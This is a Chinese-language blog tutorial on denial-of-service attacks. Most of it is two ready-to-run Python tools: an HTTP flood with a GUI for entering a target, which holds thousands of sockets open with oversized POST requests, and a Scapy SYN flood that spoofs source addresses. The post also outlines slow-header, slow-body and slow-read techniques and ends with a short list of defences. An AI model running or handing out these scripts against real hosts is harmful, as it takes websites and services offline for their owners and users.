DOS攻击(一)
介绍
DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。DoS攻击是指故意的攻击网络协议实现的缺陷或直接通过野蛮手段残忍地耗尽被攻击对象的资源,目的是让目标计算机或网络无法提供正常的服务或资源访问,使目标系统服务系统停止响应甚至崩溃,而在此攻击中并不包括侵入目标服务器或目标网络设备。这些服务资源包括网络带宽,文件系统空间容量,开放的进程或者允许的连接。这种攻击会导致资源的匮乏,无论计算机的处理速度多快、内存容量多大、网络带宽的速度多快都无法避免这种攻击带来的后果。
python实现HTTP Flood
这里目标页面如果不填写默认为网站根目录, 攻击线程数并不是越多越好,线程数是访问一个socket队列获取已连接的socket然后进行dos攻击。因为python中队列取值早就封装了锁,如果线程过多就会频繁加解锁这就给了服务器喘息的机会。

点击stop中断dos攻击

import queue
import socket
import easygui
import threading
def consumer(q):
while True:
try:
s = q.get()
s.send(bytes("dos", 'utf8'))
print("[+] send OK!\n")
q.put(s)
except Exception as error:
print("[-] send Exception\n")
s.close()
def producer(q, host, port, request_packet):
for i in range(10000):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host, port))
s.send(request_packet.encode("utf-8"))
print("[+] Send buf OK!\n")
q.put(s)
except Exception as error:
print("[-] Could not connect\n")
s.close()
def main():
message = 'DOS攻击参数'
title = 'hello DOS'
attack_parameters = ['目标ip或域名', '目标端口', '攻击的目标页面', '线程数']
host, port, page, thread_num = easygui.multenterbox(message, title, attack_parameters,
values=['', 80, '', 5])
port, thread_num = int(port), int(thread_num)
q = queue.Queue()
if page is None:
page = '/'
request_packet = (f"POST {page} HTTP/1.1\r\n"
"Host: {host}}\r\n"
"Content-Length: 1000000000\r\n"
"Cookie: dos=9527\r\n"
"\r\n")
threading.Thread(target=producer, args=(q, host, port, request_packet), daemon=True).start()
threading.Thread(target=producer, args=(q, host, port, request_packet), daemon=True).start()
for i in range(thread_num):
threading.Thread(target=consumer, args=(q,), daemon=True).start()
easygui.indexbox(title='DOS', msg='Ongoing attack', choices=['Stop'])
if __name__ == '__main__':
main()
apache配置如下

开启攻击后网站直接无法访问

python 实现SYN Flood
from scapy.all import *
from scapy.layers.inet import IP, TCP
def syn_flood(target_ip, target_port):
while True:
# 随机的源IP
tmp = random.randint(10, 200)
src = f'{tmp}.{tmp + 1}.{tmp + 1}.{tmp - 1}'
IPlayer = IP(src=src, dst=target_ip)
TCPlayer = TCP(sport=4444, dport=target_port, flags="S")
packet = IPlayer / TCPlayer
send(packet)
def main():
for i in range(thread_num):
threading.Thread(target=syn_flood, args=(target_ip, target_port), daemon=True).start()
time.sleep(attack_time)
if __name__ == '__main__':
target_ip = '192.168.9.133'
target_port = 80
thread_num = 5
attack_time = 20
main()
上面是无法访问网站 下面这种synflood直接会让系统无法响应


源ip为随机ip 源端口也可以变成随机端口,右侧清一色的SYN请求

其他dos攻击
低速拒绝服务攻击(Low-rate Denial-of-Service attacks)
下面是正常get请求格式(纯手敲可能不规范)
GET或POST 路径 HTTP/1.1\r\n
Host:ip或域名\r\n
......
Connect:Keep-alive\r\n
\r\n
-
Slow headers
Connection: keep-alive ,但是保证http请求不以\r\n结尾。这样服务器会以为请求头并没有结束,然后每隔一段时间发送一个包每隔一段时间发送一个包,慢慢的让服务器陪着我们耗着。这一直未发送结束的HTTP包会一直占用服务端的资源。
-
Slow body
Content-length:10000000 请求体很长 一次发一点,耗服务器资源
-
Slow read
调整TCP协议中滑动窗口大小,来对服务器单次发送的数据大小进行控制,使得服务器需要对一个相应包分为很多个包来发送
还有ping泛洪(ping-Flood),UDP泛洪(UDP-Flood),分片炸弹(fragmentation bombs),缓冲区溢出(buffer overflow)和ICMP路由重定向炸弹(ICMP routeing redirect bomb)等等
DODS只是放大版的DOS ,由单个计算机攻击变成了成批计算机一起进行攻击
防御方式
- 分布式集群硬抗
- DDOS防火墙异常流量清洗
- 将非必要的网页做成静态网页
- 加CDN中转
- web服务器对应配置
- echo 1 > /proc/sys/net/ipv4/tcp_syncookies 能显著的延缓SYN泛洪造成的网络资源缺失现象
微信扫一扫,打赏作者吧~